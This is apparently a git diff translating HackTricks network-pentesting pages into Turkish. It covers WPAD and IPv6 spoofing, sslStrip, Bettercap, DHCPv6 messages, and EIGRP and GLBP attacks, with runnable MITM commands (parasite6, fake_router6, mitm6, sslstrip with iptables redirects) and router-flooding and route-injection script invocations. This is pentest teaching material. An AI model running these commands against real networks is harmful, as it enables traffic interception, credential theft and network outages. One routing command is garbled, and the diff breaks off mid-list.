they can be exploited by attackers aiming to redirect users to malicious services. +Yanıtlayıcıyı kullanarak ana bilgisayarlar tarafından aranan hizmetleri taklit edebilirsiniz.\ +Daha fazla bilgi için [Yanıtlayıcı ile hizmetleri nasıl taklit edeceğinizi buradan okuyun](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +### [WPAD Spoofing](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Tarayıcılar genellikle **Web Proxy Auto-Discovery (WPAD) protokolünü otomatik olarak proxy ayarlarını almak için kullanır**. Bu, bir sunucudan yapılandırma ayrıntılarını almak anlamına gelir, özellikle "http://wpad.example.org/wpad.dat" gibi bir URL aracılığıyla. Bu sunucunun istemciler tarafından keşfi çeşitli mekanizmalarla gerçekleşebilir: -Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms: +- **DHCP** aracılığıyla, burada keşif özel bir kod 252 girişi kullanılarak kolaylaştırılır. +- **DNS** aracılığıyla, bu yerel alanda _wpad_ olarak etiketlenmiş bir ana bilgisayar adını aramayı içerir. +- **Microsoft LLMNR ve NBT-NS** aracılığıyla, DNS sorgularının başarısız olduğu durumlarda kullanılan yedekleme mekanizmalarıdır. -- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry. -- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain. -- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed. +Yanıtlayıcı aracı, **kötü niyetli bir WPAD sunucusu** olarak hareket ederek bu protokolden yararlanır. İstemcileri kendisine bağlanmaya yönlendirmek için DHCP, DNS, LLMNR ve NBT-NS kullanır. Yanıtlayıcı kullanarak hizmetlerin nasıl taklit edilebileceği hakkında daha fazla bilgi için [bunu kontrol edin](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). -The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +### [SSDP ve UPnP cihazlarını Spoofing](spoofing-ssdp-and-upnp-devices.md) -### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) +Ağda farklı hizmetler sunarak bir **kullanıcıyı** bazı **düz metin kimlik bilgilerini** girmeye **kandırmaya** çalışabilirsiniz. **Bu saldırı hakkında daha fazla bilgi için** [**SSDP ve UPnP Cihazlarını Spoofing**](spoofing-ssdp-and-upnp-devices.md)**.** -You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** - -### IPv6 Neighbor Spoofing - -This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker. +### IPv6 Komşu Spoofing +Bu saldırı, ARP Spoofing'e çok benzer ancak IPv6 dünyasında geçerlidir. Kurbanın, GW'nin IPv6'sının saldırganın MAC'ine sahip olduğunu düşünmesini sağlayabilirsiniz. ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` +### IPv6 Yönlendirici İlanı Sahteciliği/Boğma -### IPv6 Router Advertisement Spoofing/Flooding - -Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use: - +Bazı işletim sistemleri, ağda gönderilen RA paketlerinden varsayılan olarak geçidi yapılandırır. Saldırganı IPv6 yönlendiricisi olarak ilan etmek için şunu kullanabilirsiniz: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` +### IPv6 DHCP sahteciliği -### IPv6 DHCP spoofing - -By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim. - +Varsayılan olarak bazı işletim sistemleri, ağda bir DHCPv6 paketi okuyarak DNS'i yapılandırmaya çalışır. Bu durumda, bir saldırgan kendisini DNS olarak yapılandırmak için bir DHCPv6 paketi gönderebilir. DHCP ayrıca kurban için bir IPv6 sağlar. ```bash dhcp6.spoof on dhcp6.spoof.domains mitm6 ``` +### HTTP (sahte sayfa ve JS kodu enjeksiyonu) -### HTTP (fake page and JS code injection) - -## Internet Attacks +## İnternet Saldırıları ### sslStrip -Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**. - +Bu saldırının temel olarak yaptığı şey, eğer **kullanıcı** bir **HTTP** sayfasına **erişmeye** çalışıyorsa ve bu sayfa **HTTPS** versiyonuna **yönlendiriyorsa**. **sslStrip**, **istemci ile** bir **HTTP bağlantısını** ve **sunucu ile** bir **HTTPS bağlantısını** **koruyarak**, bağlantıyı **düz metin** olarak **dinleyebilmesini** sağlar. ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -781,33 +693,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` +Daha fazla bilgi [burada](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). -More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). +### sslStrip+ ve dns2proxy ile HSTS'yi atlama -### sslStrip+ and dns2proxy for bypassing HSTS +**sslStrip+ ve dns2proxy** arasındaki **fark**, **sslStrip**'e karşı, örneğin _**www.facebook.com**_ **adresini** _**wwww.facebook.com**_ **olarak** **yönlendirmeleridir** (ekstra "**w**"yi not edin) ve bu **alan adının adresini saldırgan IP'si olarak ayarlayacaklardır**. Bu şekilde, **istemci** _**wwww.facebook.com**_ **(saldırgan)** ile **bağlanacak**, ancak arka planda **sslstrip+** **gerçek bağlantıyı** **www.facebook.com** ile **https** üzerinden **sürdürecektir**. -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +Bu tekniğin **amacı**, _**wwww**.facebook.com_ **tarayıcının** **önbelleğine** **kaydedilmeyeceği** için **HSTS'yi** **atlamaktır**; böylece tarayıcı **facebook kimlik doğrulamasını HTTP üzerinden** gerçekleştirmeye **kandırılacaktır**.\ +Bu saldırıyı gerçekleştirmek için, kurbanın başlangıçta [http://www.faceook.com](http://www.faceook.com) adresine erişmeye çalışması gerektiğini unutmayın, https değil. Bu, bir http sayfasındaki bağlantıları değiştirerek yapılabilir. -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ -Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. +Daha fazla bilgi [burada](https://www.bettercap.org/legacy/#hsts-bypass), [burada](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) ve [burada](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). - -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** +**sslStrip veya sslStrip+ artık çalışmıyor. Bunun nedeni, tarayıcılarda önceden kaydedilmiş HSTS kurallarının olmasıdır; bu nedenle, bir kullanıcı "önemli" bir alan adına ilk kez erişse bile, HTTPS üzerinden erişecektir. Ayrıca, önceden kaydedilmiş kurallar ve diğer üretilen kurallar** [**`includeSubdomains`**](https://hstspreload.appspot.com) **bayrağını kullanabilir, bu nedenle önceki _**wwww.facebook.com**_ örneği artık çalışmayacaktır çünkü** _**facebook.com**_ **`includeSubdomains` ile HSTS kullanmaktadır.** TODO: easy-creds, evilgrade, metasploit, factory -## TCP listen in port - +## TCP dinleme portu ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` +## TCP + SSL dinleme portu -## TCP + SSL listen in port - -#### Generate keys and self-signed certificate - +#### Anahtarları ve kendinden imzalı sertifikayı oluşturun ``` FILENAME=server # Generate a public/private key pair: @@ -817,26 +725,20 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` - -#### Listen using certificate - +#### Sertifika kullanarak dinleme ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` - -#### Listen using certificate and redirect to the hosts - +#### Sertifika kullanarak dinleme yapın ve ana bilgisayarlara yönlendirin ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` +Bazen, eğer müşteri CA'nın geçerli olduğunu kontrol ederse, **başka bir hostname için CA tarafından imzalanmış bir sertifika sunabilirsiniz**.\ +Diğer ilginç bir test, **istek yapılan hostname için ancak kendinden imzalı bir sertifika sunmaktır**. -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ -Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. - -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. +Test edilecek diğer şeyler, sertifikayı geçerli bir CA olmayan geçerli bir sertifika ile imzalamaya çalışmak veya geçerli bir genel anahtarı kullanmak, bir algoritma kullanmaya zorlamak (gerçek özel anahtarla hiçbir şeyi deşifre etmeye ihtiyaç duymayan bir algoritma) ve müşteri gerçek özel anahtarın bir denemesini (bir hash gibi) talep ettiğinde sahte bir deneme göndermek ve müşterinin bunu kontrol etmemesini beklemektir. ## Bettercap - ```bash # Events events.stream off #Stop showing events @@ -862,47 +764,43 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` +### Aktif Keşif Notları -### Active Discovery Notes +Bir UDP paketi, istenen porta sahip olmayan bir cihaza gönderildiğinde, bir ICMP (Port Ulaşılmaz) gönderildiğini dikkate alın. -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. +### **ARP keşfi** -### **ARP discover** +ARP paketleri, ağ içinde hangi IP'lerin kullanıldığını keşfetmek için kullanılır. PC, her olası IP adresi için bir istek göndermeli ve yalnızca kullanılanlar yanıt verecektir. -ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. +### **mDNS (çoklu yayın DNS)** -### **mDNS (multicast DNS)** +Bettercap, **\_services\_.dns-sd.\_udp.local** için her X ms'de bir MDNS isteği gönderir; bu paketi gören makine genellikle bu isteğe yanıt verir. Ardından, yalnızca "services" yanıt veren makineleri arar. -Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". - -**Tools** +**Araçlar** - Avahi-browser (--all) - Bettercap (net.probe.mdns) - Responder -### **NBNS (NetBios Name Server)** +### **NBNS (NetBios Ad Sunucusu)** -Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Bettercap, "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" adını sormak için 137/UDP portuna paketler yayınlar. -### **SSDP (Simple Service Discovery Protocol)** +### **SSDP (Basit Hizmet Keşif Protokolü)** -Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). +Bettercap, her türlü hizmeti aramak için SSDP paketleri yayınlar (UDP Port 1900). -### **WSD (Web Service Discovery)** +### **WSD (Web Hizmeti Keşfi)** -Bettercap broadcast WSD packets searching for services (UDP Port 3702). +Bettercap, hizmetleri aramak için WSD paketleri yayınlar (UDP Port 3702). -## References +## Referanslar - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- **Network Security Assessment: Know Your Network (3rd edition)** -- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** +- **Ağ Güvenliği Değerlendirmesi: Ağınızı Tanıyın (3. baskı)** +- **Pratik IoT Hackleme: Nesnelerin İnternetine Saldırmanın Kesin Rehberi. Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood tarafından** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index 9dcab7fc1..82a799a51 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,10 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} -### DHCPv6 vs. DHCPv4 Message Types Comparison +### DHCPv6 ve DHCPv4 Mesaj Türleri Karşılaştırması -A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below: +Aşağıdaki tabloda DHCPv6 ve DHCPv4 mesaj türlerinin karşılaştırmalı bir görünümü sunulmaktadır: -| DHCPv6 Message Type | DHCPv4 Message Type | +| DHCPv6 Mesaj Türü | DHCPv4 Mesaj Türü | | :--------------------------------- | :------------------ | | Solicit (1) | DHCPDISCOVER | | Advertise (2) | DHCPOFFER | @@ -17,23 +17,23 @@ A comparative view of DHCPv6 and DHCPv4 message types is presented in the table | Reconfigure (10) | DHCPFORCERENEW | | Relay-Forw (12), Relay-Reply (13) | none | -**Detailed Explanation of DHCPv6 Message Types:** +**DHCPv6 Mesaj Türlerinin Ayrıntılı Açıklaması:** -1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers. -2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service. -3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server. -4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change. -5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations. -6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew. -7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline. -8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses. -9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network. -10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations. -11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment. -12. **Relay-Forw (12)**: Relay agents forward messages to servers. -13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client. +1. **Solicit (1)**: Mevcut sunucuları bulmak için bir DHCPv6 istemcisi tarafından başlatılır. +2. **Advertise (2)**: Sunucular tarafından bir Solicit'e yanıt olarak gönderilir, DHCP hizmeti için kullanılabilirliği belirtir. +3. **Request (3)**: İstemciler, belirli bir sunucudan IP adresleri veya ön ekler talep etmek için bunu kullanır. +4. **Confirm (4)**: Bir istemci, atanan adreslerin ağda hala geçerli olup olmadığını doğrulamak için kullanır, genellikle bir ağ değişikliğinden sonra. +5. **Renew (5)**: İstemciler, adres ömürlerini uzatmak veya yapılandırmaları güncellemek için bunu orijinal sunucuya gönderir. +6. **Rebind (6)**: Adres ömürlerini uzatmak veya yapılandırmaları güncellemek için herhangi bir sunucuya gönderilir, özellikle Renew'a yanıt alınmadığında. +7. **Reply (7)**: Sunucular, adresler, yapılandırma parametreleri sağlamak veya Release veya Decline gibi mesajları onaylamak için bunu kullanır. +8. **Release (8)**: İstemciler, sunucuya bir veya daha fazla atanan adresi kullanmayı durdurmasını bildirir. +9. **Decline (9)**: İstemciler, atanan adreslerin ağda çakıştığını bildirmek için bunu gönderir. +10. **Reconfigure (10)**: Sunucular, istemcileri yeni veya güncellenmiş yapılandırmalar için işlemleri başlatmaya yönlendirir. +11. **Information-Request (11)**: İstemciler, IP adresi ataması olmadan yapılandırma parametreleri talep eder. +12. **Relay-Forw (12)**: Relay ajanları, mesajları sunuculara iletir. +13. **Relay-Repl (13)**: Sunucular, relay ajanlarına yanıt verir, ardından mesajı istemciye iletir. -## References +## Referanslar - [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages) diff --git a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index fe4b7247a..53fa5d01d 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -1,61 +1,61 @@ -# EIGRP Attacks +# EIGRP Saldırıları {{#include ../../banners/hacktricks-training.md}} -**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information. +**Bu,** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) **açıklanan saldırıların bir özetidir. Daha fazla bilgi için kontrol edin.** -## **Fake EIGRP Neighbors Attack** +## **Sahte EIGRP Komşuları Saldırısı** -- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack. -- **Tool**: **helloflooding.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface, e.g., `eth0`. - - `--as`: Defines the EIGRP autonomous system number, e.g., `1`. - - `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`. +- **Amaç**: EIGRP hello paketleriyle yönlendirici CPU'larını aşırı yükleyerek Hizmet Reddi (DoS) saldırısına yol açmak. +- **Araç**: **helloflooding.py** scripti. +- **Uygulama**: +%%%bash +~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 +%%% +- **Parametreler**: +- `--interface`: Ağ arayüzünü belirtir, örneğin `eth0`. +- `--as`: EIGRP otonom sistem numarasını tanımlar, örneğin `1`. +- `--subnet`: Alt ağ konumunu ayarlar, örneğin `10.10.100.0/24`. -## **EIGRP Blackhole Attack** +## **EIGRP Kara Delik Saldırısı** -- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination. -- **Tool**: **routeinject.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 - %%% -- **Parameters**: - - `--interface`: Specifies the attacker’s system interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. - - `--dst`: Sets the target subnet IP. - - `--prefix`: Defines the mask of the target subnet IP. +- **Amaç**: Yanlış bir rota enjekte ederek ağ trafiği akışını kesintiye uğratmak, trafiğin var olmayan bir hedefe yönlendirilmesine neden olmak. +- **Araç**: **routeinject.py** scripti. +- **Uygulama**: +%%%bash +~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 +%%% +- **Parametreler**: +- `--interface`: Saldırganın sistem arayüzünü belirtir. +- `--as`: EIGRP AS numarasını tanımlar. +- `--src`: Saldırganın IP adresini ayarlar. +- `--dst`: Hedef alt ağ IP'sini ayarlar. +- `--prefix`: Hedef alt ağ IP'sinin maskesini tanımlar. -## **Abusing K-Values Attack** +## **K-Değerlerini Kötüye Kullanma Saldırısı** -- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack. -- **Tool**: **relationshipnightmare.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the IP Address of a legitimate router. +- **Amaç**: Değiştirilmiş K-değerlerini enjekte ederek EIGRP alanında sürekli kesintiler ve yeniden bağlantılar oluşturmak, bu da etkili bir DoS saldırısına yol açar. +- **Araç**: **relationshipnightmare.py** scripti. +- **Uygulama**: +%%%bash +~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 +%%% +- **Parametreler**: +- `--interface`: Ağ arayüzünü belirtir. +- `--as`: EIGRP AS numarasını tanımlar. +- `--src`: Meşru bir yönlendiricinin IP adresini ayarlar. -## **Routing Table Overflow Attack** +## **Yönlendirme Tablosu Taşması Saldırısı** -- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes. -- **Tool**: **routingtableoverflow.py** script. -- **Execution**: - %%%bash - sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. +- **Amaç**: Yönlendirme tablosunu sayısız yanlış rota ile doldurarak yönlendiricinin CPU ve RAM'ini zorlamak. +- **Araç**: **routingtableoverflow.py** scripti. +- **Uygulama**: +%%%bash +sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 +%%% +- **Parametreler**: +- `--interface`: Ağ arayüzünü belirtir. +- `--as`: EIGRP AS numarasını tanımlar. +- `--src`: Saldırganın IP adresini ayarlar. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 77e1a445e..dae440af5 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -1,61 +1,57 @@ -# GLBP & HSRP Attacks +# GLBP & HSRP Saldırıları {{#include ../../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} +## FHRP Kaçırma Genel Bakış -## FHRP Hijacking Overview +### FHRP Hakkında Bilgiler -### Insights into FHRP +FHRP, birden fazla yönlendiriciyi tek bir sanal birimde birleştirerek ağ dayanıklılığı sağlamak için tasarlanmıştır ve böylece yük dağılımını ve hata toleransını artırır. Cisco Systems, bu pakette GLBP ve HSRP gibi öne çıkan protokoller tanıtmıştır. -FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP. +### GLBP Protokolü Hakkında Bilgiler -### GLBP Protocol Insights +Cisco'nun yarattığı GLBP, TCP/IP yığınında çalışır ve iletişim için 3222 numaralı portta UDP kullanır. GLBP grubundaki yönlendiriciler, 3 saniyelik aralıklarla "hello" paketleri değiş tokuş eder. Bir yönlendirici bu paketleri 10 saniye boyunca göndermezse, çevrimdışı olduğu varsayılır. Ancak, bu zamanlayıcılar sabit değildir ve değiştirilebilir. -Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified. +### GLBP İşlemleri ve Yük Dağılımı -### GLBP Operations and Load Distribution +GLBP, tek bir sanal IP ile birden fazla sanal MAC adresi kullanarak yönlendiriciler arasında yük dağılımını sağlama yeteneği ile öne çıkar. Bir GLBP grubunda, her yönlendirici paket iletimine katılır. HSRP/VRRP'nin aksine, GLBP, çeşitli mekanizmalar aracılığıyla gerçek yük dengelemesi sunar: -GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms: +- **Host-Dependent Load Balancing:** Bir hosta tutarlı AVF MAC adresi atamasını sürdürür, bu da kararlı NAT yapılandırmaları için gereklidir. +- **Round-Robin Load Balancing:** Varsayılan yaklaşım, istek yapan hostlar arasında AVF MAC adresi atamasını sırayla yapar. +- **Weighted Round-Robin Load Balancing:** Yükü önceden tanımlanmış "Ağırlık" metriklerine göre dağıtır. -- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations. -- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts. -- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics. +### GLBP'deki Ana Bileşenler ve Terimler -### Key Components and Terminologies in GLBP +- **AVG (Aktif Sanal Geçit):** MAC adreslerini eş yönlendiricilere tahsis etmekten sorumlu ana yönlendirici. +- **AVF (Aktif Sanal İletici):** Ağ trafiğini yönetmekle görevlendirilmiş bir yönlendirici. +- **GLBP Önceliği:** AVG'yi belirleyen bir metrik, varsayılan olarak 100 ile başlar ve 1 ile 255 arasında değişir. +- **GLBP Ağırlığı:** Bir yönlendiricinin mevcut yükünü yansıtır, manuel olarak veya Nesne Takibi aracılığıyla ayarlanabilir. +- **GLBP Sanal IP Adresi:** Tüm bağlı cihazlar için ağın varsayılan geçidi olarak hizmet eder. -- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers. -- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic. -- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255. -- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking. -- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices. +GLBP, etkileşimler için 224.0.0.102 rezerve edilmiş çoklu yayın adresini ve UDP 3222 portunu kullanır. Yönlendiriciler, 3 saniyelik aralıklarla "hello" paketleri gönderir ve 10 saniyelik bir süre içinde bir paket kaçırılırsa, çalışmıyor olarak kabul edilir. -For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration. +### GLBP Saldırı Mekanizması -### GLBP Attack Mechanism +Bir saldırgan, en yüksek öncelik değeri (255) ile bir GLBP paketi göndererek ana yönlendirici haline gelebilir. Bu, trafiğin kesilmesine veya yönlendirilmesine olanak tanıyan DoS veya MITM saldırılarına yol açabilir. -An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection. +### Loki ile GLBP Saldırısı Gerçekleştirme -### Executing a GLBP Attack with Loki +[Loki](https://github.com/raizo62/loki_on_kali), öncelik ve ağırlığı 255 olarak ayarlanmış bir paket enjekte ederek GLBP saldırısı gerçekleştirebilir. Saldırı öncesi adımlar, sanal IP adresi, kimlik doğrulama varlığı ve yönlendirici öncelik değerleri gibi bilgilerin toplanmasını içerir; bu işlem için Wireshark gibi araçlar kullanılabilir. -[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark. +Saldırı Adımları: -Attack Steps: +1. Promiscuous moduna geçin ve IP yönlendirmesini etkinleştirin. +2. Hedef 